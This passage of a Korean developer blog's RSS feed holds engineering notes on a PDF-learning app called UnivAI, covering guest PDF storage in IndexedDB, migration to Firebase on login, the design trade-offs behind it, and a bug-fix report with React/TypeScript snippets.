            <guid>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8-%EB%B9%84%ED%9A%8C%EC%9B%90-PDF-%EC%B2%B4%ED%97%98-%EA%B8%B0%EB%8A%A5-%EA%B8%B0%EC%88%A0-%EA%B5%AC%ED%98%84-%EB%AC%B8%EC%84%9C</guid>
            <pubDate>Tue, 27 Jan 2026 08:50:04 GMT</pubDate>
            <description><![CDATA[<h2 id="1-개요">1. 개요</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>기능명</td>
<td>비회원 PDF 체험 및 자동 저장</td>
</tr>
<tr>
<td>목적</td>
<td>비로그인 사용자가 PDF 업로드 체험 후 로그인 시 라이브러리에 저장</td>
</tr>
<tr>
<td>저장소</td>
<td>클라이언트: IndexedDB / 서버: Firebase Storage + Firestore</td>
</tr>
<tr>
<td>대상 사용자</td>
<td>비로그인 상태에서 서비스를 체험하는 신규 사용자</td>
</tr>
</tbody></table>
<hr>
<h2 id="2-아키텍처">2. 아키텍처</h2>
<pre><code>┌─────────────────────────────────────────────────────────────────┐
│                        클라이언트 (React)                          │
├─────────────────────────────────────────────────────────────────┤
│  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐       │
│  │  PDFManager  │    │  PDFViewer   │    │  AuthContext │       │
│  │  (파일 목록)    │   │  (PDF 표시)    │    │  (인증 관리)   │       │
│  └──────┬───────┘    └──────┬───────┘    └──────┬───────┘       │
│         │    files-updated  │                   │               │
│         │◄──────────────────┼───────────────────┤               │
│  ┌──────▼───────────────────▼───────────────────▼───────┐       │
│  │                  DatabaseService                     │       │
│  │            (IndexedDB CRUD 함수)                      │       │
│  └──────────────────────┬───────────────────────────────┘       │
└─────────────────────────┼───────────────────────────────────────┘
                          │
                          ▼
              ┌───────────────────────┐
              │      IndexedDB        │
              │   (guest_pdfs store)  │
              └───────────────────────┘
                          │ 로그인 시 업로드
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│                        Firebase                                 │
│  ┌─────────────────┐         ┌─────────────────┐                │
│  │ Firebase Storage│         │    Firestore    │                │
│  │   (PDF 파일)     │         │   (메타데이터)     │                │
│  └─────────────────┘         └─────────────────┘                │
└─────────────────────────────────────────────────────────────────┘</code></pre><hr>
<h2 id="3-데이터-구조">3. 데이터 구조</h2>
<h3 id="guestpdfdata-indexeddb">GuestPdfData (IndexedDB)</h3>
<pre><code class="language-tsx">interface GuestPdfData {
  id: string;              // &quot;guest_{timestamp}_{random}&quot; 형식
  fileName: string;        // 원본 파일명
  pdfBase64: string;       // PDF 데이터 (base64 인코딩)
  pageCount: number;       // 총 페이지 수
  createdAt: Date;         // 생성 시간
  uploadedToUid: string | null;  // 업로드된 사용자 UID (null = 미업로드)
}</code></pre>
<h3 id="firestore-문서-구조-저장-후">Firestore 문서 구조 (저장 후)</h3>
<pre><code class="language-tsx">// users/{uid}/pdfs/{docId}
{
  fileName: string;
  downloadUrl: string;     // Firebase Storage URL
  pageCount: number;
  createdAt: Timestamp;
  fileSize: number;
}</code></pre>
<h3 id="썸네일-캐시-indexeddb">썸네일 캐시 (IndexedDB)</h3>
<pre><code class="language-tsx">// 캐시 키: &quot;guest-{guestPdfId}&quot;
{
  url: string;             // base64 이미지 데이터
  isLandscape: boolean;    // 가로/세로 방향
  timestamp: number;       // 캐시 생성 시간
}</code></pre>
<hr>
<h2 id="4-주요-컴포넌트">4. 주요 컴포넌트</h2>
<table>
<thead>
<tr>
<th>컴포넌트</th>
<th>역할</th>
<th>주요 함수/상태</th>
</tr>
</thead>
<tbody><tr>
<td>DatabaseService.ts</td>
<td>IndexedDB CRUD</td>
<td>saveGuestPdf(), getUnuploadedGuestPdfs(), deleteGuestPdf(), markGuestPdfAsUploaded()</td>
</tr>
<tr>
<td>AuthContext.tsx</td>
<td>인증 및 모달 관리</td>
<td>checkAndShowGuestPdfModal(), handleGuestPdfSave(), handleGuestPdfDelete()</td>
</tr>
<tr>
<td>GuestPdfUploadModal.tsx</td>
<td>저장/삭제 선택 UI</td>
<td>onSave, onDelete, isUploading 상태</td>
</tr>
<tr>
<td>GuestFileItem.tsx</td>
<td>게스트 PDF 썸네일</td>
<td>generateThumbnail(), fetchThumbnail()</td>
</tr>
<tr>
<td>PDFManager.tsx</td>
<td>파일 목록 표시</td>
<td>guestPdfs 상태, files-updated 이벤트 리스너</td>
</tr>
<tr>
<td>PDFViewer.tsx</td>
<td>PDF 뷰어</td>
<td>guestPdfRef, IndexedDB 폴백 로드</td>
</tr>
</tbody></table>
<hr>
<h2 id="5-이벤트-흐름">5. 이벤트 흐름</h2>
<h3 id="5-1-비회원-pdf-업로드-흐름">5-1. 비회원 PDF 업로드 흐름</h3>
<pre><code>사용자 액션          컴포넌트              처리
─────────────────────────────────────────────────────
PDF 파일 선택   →   PDFManager        →   파일 읽기 (FileReader)
                        ↓
                   DatabaseService    →   IndexedDB에 base64 저장
                        ↓
                   sessionStorage     →   guest PDF ID 저장
                        ↓
                   navigate()         →   /pdf/guest 페이지로 이동
                        ↓
                   PDFViewer          →   IndexedDB에서 PDF 로드 및 표시</code></pre><h3 id="5-2-로그인-후-저장-흐름">5-2. 로그인 후 저장 흐름</h3>
<pre><code>사용자 액션          컴포넌트              처리
─────────────────────────────────────────────────────
로그인 완료     →   AuthContext       →   onAuthStateChanged 감지
                        ↓
                   DatabaseService    →   getUnuploadedGuestPdfs() 호출
                        ↓
                   GuestPdfUploadModal →  모달 표시 (z-index: 13000)
                        ↓
&quot;저장&quot; 클릭     →   AuthContext       →   base64 → Blob 변환
                        ↓
                   Firebase Storage   →   uploadBytes() 실행
                        ↓
                   Firestore          →   메타데이터 문서 생성
                        ↓
                   DatabaseService    →   IndexedDB에서 삭제
                        ↓
                   thumbnailCache     →   썸네일 캐시 삭제
                        ↓
                   CustomEvent        →   &quot;files-updated&quot; 발생
                        ↓
                   PDFManager         →   파일 목록 새로고침</code></pre><h3 id="5-3-삭제-흐름">5-3. 삭제 흐름</h3>
<pre><code>&quot;삭제&quot; 클릭     →   AuthContext       →   deleteGuestPdf() 호출
                        ↓
                   thumbnailCache     →   deleteThumbnailFromIndexedDB()
                        ↓
                   모달 닫기          →   setShowGuestPdfModal(false)</code></pre><hr>
<h2 id="6-변경된-파일-목록">6. 변경된 파일 목록</h2>
<table>
<thead>
<tr>
<th>파일</th>
<th>변경 유형</th>
<th>변경 내용</th>
</tr>
</thead>
<tbody><tr>
<td>DatabaseService.ts</td>
<td>신규 함수 추가</td>
<td>GuestPdfData 인터페이스, IndexedDB CRUD 함수</td>
</tr>
<tr>
<td>AuthContext.tsx</td>
<td>기능 추가</td>
<td>로그인 감지 후 모달 표시, Firebase 업로드 로직</td>
</tr>
<tr>
<td>GuestPdfUploadModal.tsx</td>
<td>신규 파일</td>
<td>저장/삭제 선택 모달 컴포넌트</td>
</tr>
<tr>
<td>GuestPdfUploadModal.css</td>
<td>신규 파일</td>
<td>모달 스타일 (z-index: 13000)</td>
</tr>
<tr>
<td>GuestFileItem.tsx</td>
<td>신규 파일</td>
<td>게스트 PDF 썸네일 표시 컴포넌트</td>
</tr>
<tr>
<td>PDFManager.tsx</td>
<td>기능 추가</td>
<td>게스트 PDF 목록 표시, files-updated 이벤트 리스너</td>
</tr>
<tr>
<td>PDFViewer.tsx</td>
<td>기능 추가</td>
<td>sessionStorage ID null일 때 IndexedDB 폴백 로드</td>
</tr>
<tr>
<td>Sidebar.css</td>
<td>스타일 수정</td>
<td>z-index 12000으로 조정</td>
</tr>
</tbody></table>
<hr>
<h2 id="7-기술적-결정-이유">7. 기술적 결정 이유</h2>
<h3 id="indexeddb-선택-이유">IndexedDB 선택 이유</h3>
<ul>
<li>localStorage는 5MB 제한으로 PDF 저장이 불가능</li>
<li>IndexedDB는 수백 MB까지 저장 가능</li>
<li>브라우저 종료 후에도 데이터가 유지됨 (시크릿 모드 제외)</li>
</ul>
<h3 id="base64-인코딩-사용-이유">Base64 인코딩 사용 이유</h3>
<ul>
<li>IndexedDB에 바이너리를 직접 저장할 수 있지만, Firebase 업로드 시 일관된 형식이 필요</li>
<li>썸네일 생성 시 PDF.js가 base64 데이터를 직접 처리 가능</li>
</ul>
<h3 id="custom-event-files-updated-사용-이유">Custom Event (files-updated) 사용 이유</h3>
<ul>
<li>AuthContext와 PDFManager는 직접적인 부모-자식 관계가 아님</li>
<li>props drilling 없이 컴포넌트 간 통신이 필요</li>
<li>저장 완료 후 파일 목록을 즉시 갱신해야 함</li>
</ul>
<h3 id="z-index-계층-구조">z-index 계층 구조</h3>
<pre><code>모달 오버레이: 13000 (최상위)
사이드바: 12000
사이드바 오버레이: 11999
PDF 뷰어: 11000</code></pre><hr>
<h2 id="8-어려웠던-점과-해결-방법">8. 어려웠던 점과 해결 방법</h2>
<h3 id="문제-1-게스트-pdf-클릭-시-체험용-파일-정보가-없습니다-에러">문제 1: 게스트 PDF 클릭 시 &quot;체험용 파일 정보가 없습니다&quot; 에러</h3>
<p><strong>원인:</strong> sessionStorage에 ID가 저장되지만 새로고침 후 null이 됨</p>
<p><strong>해결:</strong> PDFViewer.tsx에서 ID가 null일 때 IndexedDB에서 첫 번째 미업로드 PDF를 폴백으로 로드</p>
<pre><code class="language-jsx">if (!pdfIdFromSession) {
  const guestPdfs = await getUnuploadedGuestPdfs();
  if (guestPdfs.length &gt; 0) {
    guestPdfRef.current = guestPdfs[0];
  }
}</code></pre>
<h3 id="문제-2-모달이-사이드바-뒤에-숨음">문제 2: 모달이 사이드바 뒤에 숨음</h3>
<p><strong>원인:</strong> 모달 z-index(10000)가 사이드바 z-index(12000)보다 낮음</p>
<p><strong>해결:</strong> 모달 z-index를 13000으로 상향 조정</p>
<h3 id="문제-3-저장-후-파일-목록에-즉시-표시되지-않음">문제 3: 저장 후 파일 목록에 즉시 표시되지 않음</h3>
<p><strong>원인:</strong> PDFManager가 Firebase 저장 완료를 알 수 없음</p>
<p><strong>해결:</strong> Custom Event를 발생시키고 PDFManager에서 리스너로 loadMoreFiles() 호출</p>
<pre><code class="language-jsx">// AuthContext에서 저장 완료 후
window.dispatchEvent(new CustomEvent(&quot;files-updated&quot;));

// PDFManager에서 수신
useEffect(() =&gt; {
  const handleFilesUpdated = () =&gt; loadMoreFiles(true);
  window.addEventListener(&quot;files-updated&quot;, handleFilesUpdated);
  return () =&gt; window.removeEventListener(&quot;files-updated&quot;, handleFilesUpdated);
}, []);</code></pre>
<h3 id="문제-4-삭제-시-썸네일-캐시가-남아있음">문제 4: 삭제 시 썸네일 캐시가 남아있음</h3>
<p><strong>원인:</strong> IndexedDB 데이터만 삭제하고 썸네일 캐시는 그대로 유지됨</p>
<p><strong>해결:</strong> deleteThumbnailFromIndexedDB를 함께 호출</p>
<pre><code class="language-jsx">await deleteGuestPdf(guestPdfData.id);
await deleteThumbnailFromIndexedDB(`guest-${guestPdfData.id}`);</code></pre>
<hr>
<h2 id="9-핵심-코드-스니펫">9. 핵심 코드 스니펫</h2>
<h3 id="indexeddb-저장-databaseservicets">IndexedDB 저장 (DatabaseService.ts)</h3>
<pre><code class="language-tsx">export const saveGuestPdf = async (data: Omit&lt;GuestPdfData, &quot;id&quot; | &quot;createdAt&quot;&gt;): Promise&lt;string&gt; =&gt; {
  const db = await openGuestPdfDB();
  const id = `guest_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
  const guestPdf: GuestPdfData = {
    ...data,
    id,
    createdAt: new Date(),
    uploadedToUid: null,
  };
  await db.put(GUEST_PDF_STORE, guestPdf);
  return id;
};</code></pre>
<h3 id="firebase-업로드-및-이벤트-발생-authcontexttsx">Firebase 업로드 및 이벤트 발생 (AuthContext.tsx)</h3>
<pre><code class="language-tsx">const handleGuestPdfSave = async () =&gt; {
  const blob = base64ToBlob(guestPdfData.pdfBase64, &quot;application/pdf&quot;);
  const storageRef = ref(storage, `users/${user.uid}/pdfs/${fileName}`);
  await uploadBytes(storageRef, blob);
  const downloadUrl = await getDownloadURL(storageRef);

  await addDoc(collection(db, &quot;users&quot;, user.uid, &quot;pdfs&quot;), {
    fileName,
    downloadUrl,
    createdAt: serverTimestamp(),
  });

  await deleteGuestPdf(guestPdfData.id);
  await deleteThumbnailFromIndexedDB(`guest-${guestPdfData.id}`);
  window.dispatchEvent(new CustomEvent(&quot;files-updated&quot;));
};</code></pre>
<h3 id="파일-목록-새로고침-리스너-pdfmanagertsx">파일 목록 새로고침 리스너 (PDFManager.tsx)</h3>
<pre><code class="language-tsx">useEffect(() =&gt; {
  const handleFilesUpdated = () =&gt; loadMoreFiles(true);
  window.addEventListener(&quot;files-updated&quot;, handleFilesUpdated);
  return () =&gt; window.removeEventListener(&quot;files-updated&quot;, handleFilesUpdated);
}, []);</code></pre>
<hr>
<h2 id="10-테스트-시나리오">10. 테스트 시나리오</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>시나리오</th>
<th>예상 결과</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>비로그인 상태에서 PDF 업로드</td>
<td>IndexedDB에 저장, PDF 뷰어로 이동, 썸네일 표시</td>
</tr>
<tr>
<td>2</td>
<td>비로그인 상태에서 파일 목록 확인</td>
<td>GuestFileItem으로 게스트 PDF 표시</td>
</tr>
<tr>
<td>3</td>
<td>게스트 PDF 클릭</td>
<td>PDF 뷰어에서 정상 로드</td>
</tr>
<tr>
<td>4</td>
<td>브라우저 종료 후 재접속 (일반 모드)</td>
<td>IndexedDB 데이터 유지, 게스트 PDF 표시</td>
</tr>
<tr>
<td>5</td>
<td>시크릿 모드에서 테스트</td>
<td>브라우저 종료 시 데이터 삭제 (정상 동작)</td>
</tr>
<tr>
<td>6</td>
<td>로그인 시 모달 표시</td>
<td>&quot;저장하시겠습니까?&quot; 모달이 사이드바 위에 표시</td>
</tr>
<tr>
<td>7</td>
<td>모달에서 &quot;저장&quot; 클릭</td>
<td>Firebase 업로드, IndexedDB 삭제, 파일 목록 즉시 갱신</td>
</tr>
<tr>
<td>8</td>
<td>모달에서 &quot;삭제&quot; 클릭</td>
<td>IndexedDB + 썸네일 캐시 삭제, 모달 닫힘</td>
</tr>
<tr>
<td>9</td>
<td>여러 개 게스트 PDF 업로드 후 로그인</td>
<td>각 PDF마다 순차적으로 모달 표시</td>
</tr>
<tr>
<td>10</td>
<td>저장 중 네트워크 오류</td>
<td>에러 메시지 표시, 데이터 유지</td>
</tr>
</tbody></table>
]]></description>
        </item>
        <item>
            <title><![CDATA[[UnivAI 엔지니어링 노트] 비회원 PDF 체험 → 회원 전환 시 데이터 보존 기능 설계]]></title>
            <link>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8-%EB%B9%84%ED%9A%8C%EC%9B%90-PDF-%EC%B2%B4%ED%97%98-%ED%9A%8C%EC%9B%90-%EC%A0%84%ED%99%98-%EC%8B%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EB%B3%B4%EC%A1%B4-%EA%B8%B0%EB%8A%A5-%EC%84%A4%EA%B3%84</link>
            <guid>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8-%EB%B9%84%ED%9A%8C%EC%9B%90-PDF-%EC%B2%B4%ED%97%98-%ED%9A%8C%EC%9B%90-%EC%A0%84%ED%99%98-%EC%8B%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EB%B3%B4%EC%A1%B4-%EA%B8%B0%EB%8A%A5-%EC%84%A4%EA%B3%84</guid>
            <pubDate>Tue, 27 Jan 2026 08:48:44 GMT</pubDate>
            <description><![CDATA[<h2 id="📋-배경">📋 배경</h2>
<p><strong>사수 요청사항:</strong></p>
<blockquote>
<p>&quot;비로그인에서 PDF 1회 체험 후 로그인하면, 그 PDF가 자동으로 계정에 업로드되도록 해주세요. 단, 로그아웃 후 다른 계정으로 로그인하는 경우 등 예외 상황에서 버그 안 나게 잘 고려해주세요.&quot;</p>
</blockquote>
<hr>
<h2 id="1️⃣-문제-정의">1️⃣ 문제 정의</h2>
<p>요청을 받자마자 바로 코드를 작성하지 않고, 먼저 질문들을 정리했다:</p>
<ol>
<li><strong>&quot;로컬 내용&quot;이 정확히 무엇인가?</strong> - PDF 원본? AI 생성 결과? 대화 기록?</li>
<li><strong>&quot;자동 업로드&quot;의 범위는?</strong> - 로그인 즉시? 사용자 확인 후?</li>
<li><strong>&quot;다른 계정으로 로그인&quot;이 왜 문제인가?</strong> - A 사용자 데이터가 B에게 넘어가면 안 됨 → 데이터 &quot;소유권&quot; 개념 필요</li>
</ol>
<hr>
<h2 id="2️⃣-현황-파악">2️⃣ 현황 파악</h2>
<p>코드 구현 전 현재 시스템 동작 방식 파악:</p>
<table>
<thead>
<tr>
<th>데이터</th>
<th>저장 위치</th>
<th>지속성</th>
</tr>
</thead>
<tbody><tr>
<td>PDF 원본</td>
<td>sessionStorage → 로드 후 삭제</td>
<td>❌ 새로고침 시 사라짐</td>
</tr>
<tr>
<td>요약/개념/암기</td>
<td>React 상태만</td>
<td>❌ 페이지 이동 시 사라짐</td>
</tr>
<tr>
<td>대화 기록</td>
<td>localStorage</td>
<td>✅ 유지됨</td>
</tr>
</tbody></table>
<p><strong>발견한 문제점:</strong> PDF 원본이 영구 저장되지 않음</p>
<pre><code>FileUpload: sessionStorage에 저장
↓
PDFViewer: 읽은 후 삭제
↓
결과: blob URL만 메모리에 존재 → 새로고침하면 사라짐
→ 로그인 시 업로드하려 해도 원본이 없는 상황</code></pre><hr>
<h2 id="3️⃣-설계-결정">3️⃣ 설계 결정</h2>
<h3 id="결정-1-저장-대상-범위">결정 1: 저장 대상 범위</h3>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td>PDF만</td>
<td>단순, 용량 적음</td>
<td>AI 결과 날아감</td>
</tr>
<tr>
<td>PDF + AI 결과</td>
<td>완전한 복원</td>
<td>복잡도 증가</td>
</tr>
<tr>
<td>PDF + AI + 대화</td>
<td>모든 것 보존</td>
<td>매우 복잡</td>
</tr>
</tbody></table>
<p><strong>결정: PDF만 저장</strong> - AI 결과는 버튼 한 번으로 재생성 가능, 비회원 1회 체험에서 대화를 많이 하지 않음</p>
<h3 id="결정-2-저장-위치">결정 2: 저장 위치</h3>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td>sessionStorage</td>
<td>구현 간단</td>
<td>새로고침/브라우저 닫으면 삭제</td>
</tr>
<tr>
<td>localStorage</td>
<td>영구 저장</td>
<td>용량 제한 (5MB)</td>
</tr>
<tr>
<td>IndexedDB</td>
<td>영구 저장, 대용량 가능</td>
<td>구현 복잡</td>
</tr>
</tbody></table>
<p><strong>결정: IndexedDB</strong> - PDF 파일은 용량이 커서 localStorage 부적합, 브라우저 닫아도 유지되어야 함</p>
<h3 id="결정-3-업로드-방식">결정 3: 업로드 방식</h3>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td>자동 업로드</td>
<td>매끄러운 UX</td>
<td>&quot;모르게 저장됨&quot; 느낌, 실패 시 인지 어려움</td>
</tr>
<tr>
<td>확인 모달</td>
<td>사용자 의도 명확</td>
<td>클릭 한 번 더 필요</td>
</tr>
</tbody></table>
<p><strong>사수 의견:</strong> 자동 업로드가 UX상 더 매끄럽다</p>
<p><strong>최종 결정: 확인 모달 (자율적 판단)</strong> - 계정 전환 시 안전, 실패 시 재시도 안내 가능, 사용자가 데이터 저장 위치 인지 가능</p>
<hr>
<h2 id="4️⃣-엣지-케이스-검증">4️⃣ 엣지 케이스 검증</h2>
<table>
<thead>
<tr>
<th>시나리오</th>
<th>상황</th>
<th>해결</th>
</tr>
</thead>
<tbody><tr>
<td>✅ 정상 플로우</td>
<td>비로그인 → PDF 체험 → 로그인 → 모달 → 저장</td>
<td>-</td>
</tr>
<tr>
<td>⚠️ 계정 전환</td>
<td>A 로그인 → 저장 → 로그아웃 → B 로그인</td>
<td><code>uploadedToUid</code> 플래그로 이미 업로드된 데이터 무시</td>
</tr>
<tr>
<td>⚠️ 업로드 실패</td>
<td>로그인 → 업로드 실패</td>
<td>로컬 데이터 유지 → 재시도 가능</td>
</tr>
<tr>
<td>🔄 새로고침</td>
<td>PDF 체험 → 새로고침</td>
<td>IndexedDB에서 복원 가능</td>
</tr>
<tr>
<td>⏰ 오래된 데이터</td>
<td>PDF 체험 → 3일 후 → 로그인</td>
<td>모달에서 파일명, 용량, 날짜 표시 + 삭제 옵션</td>
</tr>
</tbody></table>
<hr>
<h2 id="5️⃣-회고">5️⃣ 회고</h2>
<h3 id="바로-코드-작성하지-않은-이유">바로 코드 작성하지 않은 이유</h3>
<ul>
<li>요구사항이 모호했다 - &quot;로컬 내용&quot;의 범위, &quot;예외 상황&quot;이 구체적이지 않음</li>
<li>현재 시스템을 모르면 설계할 수 없다 - 기존 캐시 구조 파악 필요</li>
<li>단순해 보이는 기능에 숨은 복잡성 - 계정 전환/실패/만료 등 고려사항</li>
</ul>
<h3 id="적용한-원칙">적용한 원칙</h3>
<table>
<thead>
<tr>
<th>원칙</th>
<th>적용</th>
</tr>
</thead>
<tbody><tr>
<td>문제 정의 먼저</td>
<td>코드 전에 질문 리스트 작성</td>
</tr>
<tr>
<td>현황 파악</td>
<td>기존 캐시 구조 분석</td>
</tr>
<tr>
<td>트레이드오프 명시</td>
<td>각 옵션의 장단점 표로 정리</td>
</tr>
<tr>
<td>엣지 케이스 나열</td>
<td>5가지 시나리오 검토</td>
</tr>
<tr>
<td>단순함 우선</td>
<td>PDF만 저장 (MVP)</td>
</tr>
<tr>
<td>안전함 우선</td>
<td>자동 업로드 대신 확인 모달</td>
</tr>
</tbody></table>
<hr>
<h2 id="📌-결론">📌 결론</h2>
<blockquote>
<p>좋은 엔지니어는 코드를 잘 짜는 사람이 아니라, <strong>문제를 잘 정의하고 다양한 상황을 고려하는 사람</strong>이다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[UnivAI 엔지니어링 노트] feature/pdf-upload 버그 수정 리포트]]></title>
            <link>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8</link>
            <guid>https://velog.io/@eunseo_song/UnivAI-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4%EB%A7%81-%EB%85%B8%ED%8A%B8</guid>
            <pubDate>Tue, 27 Jan 2026 08:47:17 GMT</pubDate>
            <description><![CDATA[<h1 id="featurepdf-upload-버그-수정-리포트">feature/pdf-upload 버그 수정 리포트</h1>
<p><strong>작업 기간</strong>: 2026.01.15 ~ 2026.01.23 (약 8일)</p>
<p><strong>변경 규모</strong>: 27개 파일, +1,579줄 / -259줄</p>
<hr>
<h1 id="🔴-버그-1-게스트-모드-pdf가-열리지-않음">🔴 버그 1: 게스트 모드 PDF가 열리지 않음</h1>
<h2 id="증상">증상</h2>
<ul>
<li>비로그인 상태에서 PDF 파일 선택 후 <code>/pdf/guest</code> 페이지로 이동하면 빈 화면</li>
<li>콘솔에 &quot;Failed to load PDF&quot; 또는 &quot;체험용 파일 정보가 없습니다&quot; 에러</li>
</ul>
<h2 id="디버깅-과정">디버깅 과정</h2>
<ol>
<li>처음엔 라우팅 문제로 의심 → RouteGuard에서 guest 경로 예외 처리 추가</li>
<li>여전히 안됨 → URL 파라미터 확인 → blob URL이 이상하게 깨져있음</li>
<li><code>URL.createObjectURL()</code> 반환값 확인 → FileUpload에서는 정상</li>
<li>navigate 후 PDFViewer에서 확인 → <strong>blob URL이 무효화됨</strong></li>
</ol>
<h2 id="근본-원인">근본 원인</h2>
<p><code>URL.createObjectURL()</code>로 생성한 blob URL은 <strong>해당 Document 컨텍스트에서만 유효</strong>.</p>
<p>React Router의 <code>navigate()</code>로 페이지 이동 시 Document 컨텍스트가 변경되어 blob URL이 무효화됨.</p>
<h2 id="해결-방법">해결 방법</h2>
<ol>
<li>FileUpload에서 PDF를 <strong>base64로 변환</strong>하여 <code>sessionStorage</code>에 저장</li>
<li>PDFViewer에서 sessionStorage에서 읽어 다시 blob URL로 변환</li>
<li>로드 성공 후 sessionStorage 정리</li>
</ol>
<h2 id="코드-변경">코드 변경</h2>
<p><strong>FileUpload.tsx</strong></p>
<pre><code class="language-jsx">// Before: blob URL을 직접 전달
const fileUrl = URL.createObjectURL(file);
navigate(`/pdf/guest?url=${encodeURIComponent(fileUrl)}`);

// After: base64로 변환 후 sessionStorage에 저장
const reader = new FileReader();
reader.onload = () =&gt; {
  sessionStorage.setItem(&quot;guest_pdf_data&quot;, reader.result as string);
  sessionStorage.setItem(&quot;guest_pdf_name&quot;, file.name);
  navigate(&quot;/pdf/guest&quot;);
};
reader.readAsDataURL(file);</code></pre>
<p><strong>PDFViewer.tsx</strong></p>
<pre><code class="language-jsx">// sessionStorage에서 복원
const guestPdfData = sessionStorage.getItem(&quot;guest_pdf_data&quot;);
const byteString = atob(guestPdfData.split(&#39;,&#39;)[1]);
// ... Uint8Array로 변환 후 Blob 생성
const blob = new Blob([ab], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);</code></pre>
<h2 id="💡-교훈">💡 교훈</h2>
<ul>
<li>blob URL은 생성된 페이지에서만 유효하다</li>
<li>SPA에서 페이지 간 대용량 데이터 전달 시 sessionStorage 또는 IndexedDB 활용</li>
</ul>
<hr>
<h1 id="🔴-버그-2-올가미스크린샷-캡처-영역-불일치">🔴 버그 2: 올가미(스크린샷) 캡처 영역 불일치</h1>
<h2 id="증상-1">증상</h2>
<ul>
<li>사용자가 선택한 영역과 실제 캡처된 이미지가 다름</li>
<li>특히 스크롤된 상태에서 위치가 크게 어긋남</li>
<li>PDF 페이지 부분이 하얗게 나오거나 잘못된 위치가 캡처됨</li>
</ul>
<h2 id="디버깅-과정-1">디버깅 과정</h2>
<ol>
<li>html2canvas 옵션 문제로 의심 → scale, useCORS 등 조정 → 부분 개선</li>
<li>여전히 위치 불일치 → 좌표 계산 로직 확인</li>
<li><code>position: absolute</code> + <code>getBoundingClientRect()</code> 조합 문제 발견</li>
<li>iframe 내부 PDF.js canvas 접근 시 cross-origin 이슈 확인</li>
</ol>
<h2 id="근본-원인-1">근본 원인</h2>
<ul>
<li><strong>좌표 체계 혼란</strong>: absolute 포지션은 offsetParent 기준, getBoundingClientRect()는 viewport 기준</li>
<li><strong>스크롤 미반영</strong>: html2canvas에 스크롤 오프셋 전달 안 함</li>
<li><strong>iframe canvas 추출 실패</strong>: PDF.js가 iframe 내부에서 렌더링되어 canvas 접근 제한</li>
</ul>
<h2 id="해결-방법-1">해결 방법</h2>
<ol>
<li>오버레이 이미지를 <code>position: fixed</code>로 변경 (viewport 기준 통일)</li>
<li>html2canvas에 <code>window.scrollX/Y</code> 추가</li>
<li>PDF canvas 직접 crop 방식 추가: iframe 내 canvas를 미리 이미지로 변환 → 선택 영역만 잘라내기</li>
</ol>
<h2 id="코드-변경-1">코드 변경</h2>
<p><strong>ScreenshotSelector.tsx</strong></p>
<pre><code class="language-jsx">// Before
img.style.position = &#39;absolute&#39;;
img.style.left = `${absoluteLeft}px`;
img.style.top = `${absoluteTop}px`;

// After
img.style.position = &#39;fixed&#39;;
img.style.left = `${canvasRect.left}px`;  // viewport 기준
img.style.top = `${canvasRect.top}px`;

// 직접 canvas crop 로직 추가
if (hasCanvasSnapshots) {
  const outputCanvas = document.createElement(&#39;canvas&#39;);
  ctx.drawImage(
    sourceImg,
    relativeX * scaleX, relativeY * scaleY,  // 소스 좌표
    cropWidth * scaleX, cropHeight * scaleY,  // 소스 크기
    0, 0, outputCanvas.width, outputCanvas.height  // 대상
  );
  onCapture(outputCanvas.toDataURL(&#39;image/png&#39;, 1.0));
  return;
}

// html2canvas fallback
const canvas = await html2canvas(document.body, {
  x: left + window.scrollX,  // 스크롤 위치 추가
  y: top + window.scrollY,
  // ...
});</code></pre>
<h2 id="💡-교훈-1">💡 교훈</h2>
<ul>
<li>좌표 체계(absolute vs fixed vs viewport)를 명확히 구분해야 함</li>
<li>iframe 내부 요소는 직접 접근이 제한될 수 있으므로 우회 방법 필요</li>
<li>html2canvas는 만능이 아님 → 직접 canvas 조작이 더 정확할 수 있음</li>
</ul>
<hr>
<h1 id="🔴-버그-3-게스트-모드에서-ai-기능-전부-실패">🔴 버그 3: 게스트 모드에서 AI 기능 전부 실패</h1>
<h2 id="증상-2">증상</h2>
<ul>
<li>게스트 모드에서 PDF는 정상 로드되지만 요약/개념/암기 생성 시 에러</li>
<li>네트워크 탭에서 Firebase Function 호출은 성공하지만 백엔드에서 PDF fetch 실패</li>
</ul>
<h2 id="디버깅-과정-2">디버깅 과정</h2>
<ol>
<li>프론트엔드 요청 확인 → pdfUrl에 blob URL이 전달됨</li>
<li>백엔드 로그 확인 → &quot;fetch failed&quot; 에러</li>
<li>blob URL을 서버에서 fetch 시도 → 불가능 (브라우저 로컬 리소스)</li>
</ol>
<h2 id="근본-원인-2">근본 원인</h2>
<p><code>blob:</code> URL은 브라우저 메모리에만 존재하는 리소스.</p>
<p>백엔드(Firebase Functions)에서는 이 URL에 접근 불가.</p>
<h2 id="해결-방법-2">해결 방법</h2>
<p>게스트 모드에서는:</p>
<ol>
<li>프론트엔드에서 PDF.js로 텍스트를 직접 추출</li>
<li>pdfUrl 대신 transcript 파라미터로 백엔드에 전송</li>
<li>백엔드에서 transcript 모드 지원 추가</li>
</ol>
